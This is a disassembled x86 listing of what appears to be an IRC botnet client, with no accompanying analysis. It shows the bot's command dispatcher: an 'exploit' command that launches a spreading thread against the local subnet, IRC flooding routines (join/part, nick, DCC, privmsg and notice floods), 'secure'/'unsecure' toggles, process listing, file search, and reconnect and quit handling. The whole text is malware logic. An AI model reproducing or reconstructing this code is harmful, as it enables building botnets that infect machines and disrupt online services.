push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_1514]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40438E
loc_404378: ; CODE XREF: sub_401ACD+28BFj
cmp [ebp+var_1508], ebx
jnz loc_401E94
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_404378
; ---------------------------------------------------------------------------
loc_40438E: ; CODE XREF: sub_401ACD+28A9j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42C15C
jmp loc_402077
; ---------------------------------------------------------------------------
loc_40439F: ; CODE XREF: sub_401ACD+172Cj
; sub_401ACD+1741j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_415135
push offset dword_42C144
call sub_4151AD
loc_4043BA: ; CODE XREF: sub_401ACD+2454j
add esp, 10h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_4043C2: ; CODE XREF: sub_401ACD+1702j
; sub_401ACD+1717j
push [ebp+Format] ; Format
lea eax, [ebp+var_BC4]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, dword ptr [ebp+esi+Args]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
jz short loc_40441C
push offset aSub ; "sub"
push esi ; Str1
call _strcmp
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B40], eax
jmp short loc_404422
; ---------------------------------------------------------------------------
loc_40441C: ; CODE XREF: sub_401ACD+2933j
mov [ebp+var_B40], ebx
loc_404422: ; CODE XREF: sub_401ACD+294Dj
lea eax, [ebp+Dst]
push offset asc_42C120 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 28h ; int
push eax ; Source
call sub_40B0F7
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_40B162
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404490
loc_40447A: ; CODE XREF: sub_401ACD+29C1j
cmp [ebp+var_B34], ebx
jnz loc_406D00
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40447A
; ---------------------------------------------------------------------------
loc_404490: ; CODE XREF: sub_401ACD+29ABj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42C0E4
jmp loc_409227
; ---------------------------------------------------------------------------
loc_4044A1: ; CODE XREF: sub_401ACD+1686j
; sub_401ACD+169Bj
push offset aQsfposs ; "qsfposs"
push offset asc_42C0CC ; "-"
loc_4044AB: ; CODE XREF: sub_401ACD+2A1Dj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 20h
jmp loc_406D00
; ---------------------------------------------------------------------------
loc_4044D8: ; CODE XREF: sub_401ACD+165Cj
; sub_401ACD+1671j
push dword_4CB394
call sub_41A88C
pop ecx
push eax
push offset unk_42C0A0
jmp short loc_4044AB
; ---------------------------------------------------------------------------
loc_4044EC: ; CODE XREF: sub_401ACD+1632j
; sub_401ACD+1647j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_40451E
cmp [ebp+var_C], ebx
jz short loc_40452D
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40452D
push eax ; Args
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 0Ch
jmp short loc_40452D
; ---------------------------------------------------------------------------
loc_40451E: ; CODE XREF: sub_401ACD+2A28j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
pop ecx
pop ecx
loc_40452D: ; CODE XREF: sub_401ACD+2A2Dj
; sub_401ACD+2A3Cj ...
push 0FFFFFFFEh
jmp loc_401E96
; ---------------------------------------------------------------------------
loc_404534: ; CODE XREF: sub_401ACD+1608j
; sub_401ACD+161Dj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
push offset dword_42C050
call sub_4151AD
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_404556: ; CODE XREF: sub_401ACD+15DEj
; sub_401ACD+15F3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
push offset dword_42C01C
call sub_4151AD
add esp, 0Ch
jmp loc_4097BA
; ---------------------------------------------------------------------------
loc_404575: ; CODE XREF: sub_401ACD+15B4j
; sub_401ACD+15C9j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40B7DB
jmp loc_404934
; ---------------------------------------------------------------------------
loc_40458B: ; CODE XREF: sub_401ACD+158Aj
; sub_401ACD+159Fj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40B786
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1560j
; sub_401ACD+1575j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40B71A
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4045B7: ; CODE XREF: sub_401ACD+1536j
; sub_401ACD+154Bj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40B64B
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4045CD: ; CODE XREF: sub_401ACD+1491j
; sub_401ACD+14A6j
push dword ptr [ebp+esi+Args]
push 27h
push offset aProcessList ; "Process list"
push offset dword_42BFFC
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_4045E5: ; CODE XREF: sub_401ACD+1467j
; sub_401ACD+147Cj
push dword ptr [ebp+esi+Args]
push 24h
push offset aFindFile ; "Find file"
push offset dword_42BFE0
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_4045FD: ; CODE XREF: sub_401ACD+1083j
; sub_401ACD+1098j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_40461C
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_40461C
push edi ; Str
call _atoi
pop ecx
jmp short loc_404621
; ---------------------------------------------------------------------------
loc_40461C: ; CODE XREF: sub_401ACD+2B39j
; sub_401ACD+2B44j
mov eax, dword_429074
loc_404621: ; CODE XREF: sub_401ACD+2B4Dj
mov esi, [ebp+esi+Format]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404646
push esi ; Format
loc_404633: ; CODE XREF: sub_401ACD+2B88j
lea eax, [ebp+var_5A0]
push 10h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_40465D
; ---------------------------------------------------------------------------
loc_404646: ; CODE XREF: sub_401ACD+2B63j
cmp [ebp+var_8FF], bl
jz short loc_404657
lea eax, [ebp+var_C4]
push eax
jmp short loc_404633
; ---------------------------------------------------------------------------
loc_404657: ; CODE XREF: sub_401ACD+2B7Fj
mov [ebp+var_5A0], bl
loc_40465D: ; CODE XREF: sub_401ACD+2B77j
mov eax, [ebp+var_4]
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h ; Count
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax ; Dest
mov [ebp+var_624], esi
call __snprintf
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42BFB8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 19h ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset sub_4111CE
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40470E
loc_4046F8: ; CODE XREF: sub_401ACD+2C3Fj
cmp [ebp+var_57C], ebx
jnz loc_401E94
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4046F8
; ---------------------------------------------------------------------------
loc_40470E: ; CODE XREF: sub_401ACD+2C29j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_42BF7C
jmp loc_402077
; ---------------------------------------------------------------------------
loc_40471F: ; CODE XREF: sub_401ACD+1019j
; sub_401ACD+102Ej
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_40473F
push esi ; Str
call _atoi
test ax, ax
pop ecx
jz short loc_40473F
push esi ; Str
call _atoi
pop ecx
jmp short loc_404745
; ---------------------------------------------------------------------------
loc_40473F: ; CODE XREF: sub_401ACD+2C5Bj
; sub_401ACD+2C67j
mov ax, word_429084
loc_404745: ; CODE XREF: sub_401ACD+2C70j
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h ; Count
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax ; Dest
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call __snprintf
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42BF50 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push edi ; int
push eax ; int
push [ebp+Format] ; Str
push esi ; int
call sub_409A73
push ebx ; int
lea eax, [ebp+Dst]
push 6 ; int
push eax ; Source
call sub_40B0F7
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset sub_40E504
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404814
loc_4047FE: ; CODE XREF: sub_401ACD+2D45j
cmp [ebp+var_968], ebx
jnz loc_401E94
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4047FE
; ---------------------------------------------------------------------------
loc_404814: ; CODE XREF: sub_401ACD+2D2Fj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42BF10
jmp loc_402077
; ---------------------------------------------------------------------------
loc_404825: ; CODE XREF: sub_401ACD+FC5j
; sub_401ACD+FDAj ...
push edi ; Str2
push offset aSecure ; "secure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40484D
push edi ; Str2
push offset aSec ; "sec"
call _strcmp
pop ecx
mov [ebp+var_A10], ebx
test eax, eax
pop ecx
jnz short loc_404857
loc_40484D: ; CODE XREF: sub_401ACD+2D67j
mov [ebp+var_A10], 1
loc_404857: ; CODE XREF: sub_401ACD+2D7Ej
push [ebp+Format] ; Format
lea eax, [ebp+var_A94]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A10], ebx
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_A08], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40489E
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40489E: ; CODE XREF: sub_401ACD+2DCAj
push eax
push offset asc_42BEDC ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 22h ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_419E1A
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404912
loc_4048FC: ; CODE XREF: sub_401ACD+2E43j
cmp [ebp+var_A04], ebx
jnz loc_4083BD
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4048FC
; ---------------------------------------------------------------------------
loc_404912: ; CODE XREF: sub_401ACD+2E2Dj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_42BEA0
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_404923: ; CODE XREF: sub_401ACD+F9Bj
; sub_401ACD+FB0j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_41A6AF
loc_404934: ; CODE XREF: sub_401ACD+2AB9j
; sub_401ACD+2ACFj ...
add esp, 0Ch
jmp loc_409855
; ---------------------------------------------------------------------------
loc_40493C: ; CODE XREF: sub_401ACD+F71j
; sub_401ACD+F86j
push offset unk_42BDF0
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_404946: ; CODE XREF: sub_401ACD+F47j
; sub_401ACD+F5Cj
push offset aAbosel7Vs ; "abosel7 vs"
push offset dword_42BDE0
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_404955: ; CODE XREF: sub_401ACD+F1Dj
; sub_401ACD+F32j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_4049AF
push esi ; Str
call _atoi
cmp eax, ebx
pop ecx
jl short loc_4049A7
cmp eax, 3
jge short loc_4049A7
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40499F
lea eax, [esi+1]
push eax
lea eax, [ebp+Dst]
push offset asc_42D0B4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
mov [esi], bl
jmp loc_40828C
; ---------------------------------------------------------------------------
loc_40499F: ; CODE XREF: sub_401ACD+2EB1j
push eax
push offset unk_42BDB4
jmp short loc_4049EC
; ---------------------------------------------------------------------------
loc_4049A7: ; CODE XREF: sub_401ACD+2E9Cj
; sub_401ACD+2EA1j
push eax
push offset unk_42BD88
jmp short loc_4049EC
; ---------------------------------------------------------------------------
loc_4049AF: ; CODE XREF: sub_401ACD+2E91j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4049B4: ; CODE XREF: sub_401ACD+2F03j
push [ebp+var_90] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4049D7
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4049B4
jmp loc_40828C
; ---------------------------------------------------------------------------
loc_4049D7: ; CODE XREF: sub_401ACD+2EF7j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset asc_42D0B4 ; "-"
loc_4049EC: ; CODE XREF: sub_401ACD+2153j
; sub_401ACD+2ED8j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
jmp loc_408289
; ---------------------------------------------------------------------------
loc_4049FD: ; CODE XREF: sub_401ACD+EF3j
; sub_401ACD+F08j
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4034A6
call sub_40B2C0
push ebx
call ds:dword_427064 ; ExitProcess
loc_404A23: ; CODE XREF: sub_401ACD+1A12j
push offset aGet_0 ; "get"
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404AB1
cmp dword_4CEE08, ebx
jz short loc_404A4B
push offset byte_4CE7E8
loc_404A41: ; CODE XREF: sub_401ACD+2FE2j
push offset unk_42BD4C
jmp loc_404AE1
; ---------------------------------------------------------------------------
loc_404A4B: ; CODE XREF: sub_401ACD+2F6Dj
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax ; Size
lea eax, [ebp+var_2E8]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call ds:dword_427230 ; getsockname
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E30]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+var_E30]
push eax
jmp short loc_404A41
; ---------------------------------------------------------------------------
loc_404AB1: ; CODE XREF: sub_401ACD+2F65j
push esi
call dword_4CB694 ; inet_addr
cmp eax, 0FFFFFFFFh
push esi ; Source
jnz short loc_404AC5
push offset unk_42BD0C
jmp short loc_404AE1
; ---------------------------------------------------------------------------
loc_404AC5: ; CODE XREF: sub_401ACD+2FEFj
push offset byte_4CE7E8 ; Dest
call _strcpy
pop ecx
mov dword_4CEE08, 1
pop ecx
push esi
push offset asc_42BCE0 ; "-"
loc_404AE1: ; CODE XREF: sub_401ACD+2F79j
; sub_401ACD+2FF6j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4034FE
; ---------------------------------------------------------------------------
loc_404AF5: ; CODE XREF: sub_401ACD+19FAj
push edi ; Str2
push offset aExploit ; "exploit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_404BF8
mov eax, [ebp+var_4]
mov esi, offset aF ; "#f"
mov [ebp+var_13E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F4], eax
mov edi, 80h
push esi ; Format
lea eax, [ebp+var_1474]
push edi ; Count
push eax ; Dest
mov [ebp+var_13EC], 1
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_14F4]
push esi ; Format
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_1504]
push [ebp+Source] ; Format
push 10h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_1504]
push eax
lea eax, [ebp+Dst]
push offset asc_42BCA8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 8 ; int
push eax ; Source
call sub_40B0F7
add esp, 18h
mov [ebp+var_13E8], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1504]
push ebx
push eax
push offset sub_40B8A2
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_13E8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404BE7
loc_404BD1: ; CODE XREF: sub_401ACD+3118j
cmp [ebp+var_13DC], ebx
jnz loc_40828C
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_404BD1
; ---------------------------------------------------------------------------
loc_404BE7: ; CODE XREF: sub_401ACD+3102j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42BC68
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_404BF8: ; CODE XREF: sub_401ACD+3037j
push edi ; Str2
push offset aReconnect_in ; "reconnect.in"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4097C1
push edi ; Str2
push offset aRin ; "rin"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4097C1
push edi ; Str2
push offset aReconnect_in_m ; "reconnect.in.ms"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409779
push edi ; Str2
push offset aRinms ; "rinms"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409779
push [ebp+arg_8] ; Str2
push offset aFlood ; "flood"
call _strcmp
mov edi, ds:dword_427078
pop ecx
test eax, eax
pop ecx
jnz loc_4057DF
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
push [ebp+Source] ; Str2
push offset aLoad ; "load"
call _strcmp
add esp, 0Ch
test eax, eax
jnz short loc_404CFE
cmp [ebp+esi+var_80], ebx
jz short loc_404CFE
push [ebp+esi+var_80] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+esi+Str2] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+esi+Format] ; Source
call sub_417A60
add esp, 0Ch
lea eax, [ebp+Dst]
push [ebp+esi+Str2]
push [ebp+esi+Format]
push [ebp+esi+var_80]
push offset asc_42BC00 ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CFE
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_404CFE: ; CODE XREF: sub_401ACD+31BAj
; sub_401ACD+31C0j ...
push [ebp+Source] ; Str2
push offset aPm ; "pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404D6A
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404D6A
push offset asc_42D124 ; " "
push offset a_ ; "_"
push eax ; Src
call sub_417EEF
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_404D6A: ; CODE XREF: sub_401ACD+3242j
; sub_401ACD+324Dj
push [ebp+Source] ; Str2
push offset aCt ; "ct"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404DD6
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404DD6
push offset asc_42D124 ; " "
push offset a_ ; "_"
push eax ; Src
call sub_417EEF
push eax ; Source
lea eax, [ebp+var_4BF0]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+var_4BF0]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgS ; "privmsg %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_404DD6: ; CODE XREF: sub_401ACD+32AEj
; sub_401ACD+32B9j
push [ebp+Source] ; Str2
push offset aNt ; "nt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404E42
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404E42
push offset asc_42D124 ; " "
push offset a_ ; "_"
push eax ; Src
call sub_417EEF
push eax ; Source
lea eax, [ebp+var_46EC]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+var_46EC]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_0 ; "notice %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_404E42: ; CODE XREF: sub_401ACD+331Aj
; sub_401ACD+3325j
push [ebp+Source] ; Str2
push offset aMode ; "mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404EAE
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404EAE
push offset asc_42D124 ; " "
push offset a_ ; "_"
push eax ; Src
call sub_417EEF
push eax ; Source
lea eax, [ebp+var_4DF0]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+var_4DF0]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aModeSS ; "mode %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_404EAE: ; CODE XREF: sub_401ACD+3386j
; sub_401ACD+3391j
push [ebp+Source] ; Str2
push offset aJoin ; "join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404EED
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz short loc_404EED
push eax
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
loc_404EED: ; CODE XREF: sub_401ACD+33F2j
; sub_401ACD+33FDj
push [ebp+Source] ; Str2
push offset aPart_0 ; "part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404F2C
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz short loc_404F2C
push eax
lea eax, [ebp+Dst]
push offset aPartS ; "part %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
loc_404F2C: ; CODE XREF: sub_401ACD+3431j
; sub_401ACD+343Cj
push [ebp+Source] ; Str2
push offset aPartflood ; "partflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404F70
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz short loc_404F70
push offset dword_427638
push eax
lea eax, [ebp+Dst]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_404F70: ; CODE XREF: sub_401ACD+3470j
; sub_401ACD+347Bj
push [ebp+Source] ; Str2
push offset aPnick ; "pnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404FE9
cmp [ebp+esi+Format], ebx
jz short loc_404FE9
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B4]
push edx
push [ebp+esi+Format]
push offset aSI ; "%s%i"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
loc_404FE9: ; CODE XREF: sub_401ACD+34B4j
; sub_401ACD+34BDj
push [ebp+Source] ; Str2
push offset aJoinPart ; "join/part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405136
cmp [ebp+esi+Format], ebx
jz loc_405136
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
lea eax, [ebp+Dst]
push offset dword_427638
push [ebp+esi+Format]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset dword_427638
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
call _rand
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi ; Sleep
push offset dword_427638
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_405136: ; CODE XREF: sub_401ACD+352Dj
; sub_401ACD+353Aj
push [ebp+Source] ; Str2
push offset aDcc ; "dcc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4051D0
cmp [ebp+esi+Format], ebx
jz short loc_4051D0
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+Dst]
push edx
push [ebp+esi+Format]
push offset aPrivmsgS_0 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 24h
loc_4051D0: ; CODE XREF: sub_401ACD+367Aj
; sub_401ACD+3687j
push [ebp+Source] ; Str2
push offset aNick_0 ; "nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4052D2
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz loc_4052D2
push eax
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
lea eax, [ebp+var_4BC]
push eax ; Dest
call sub_417ADE
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+var_4BC]
push eax ; Dest
call sub_417ADE
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
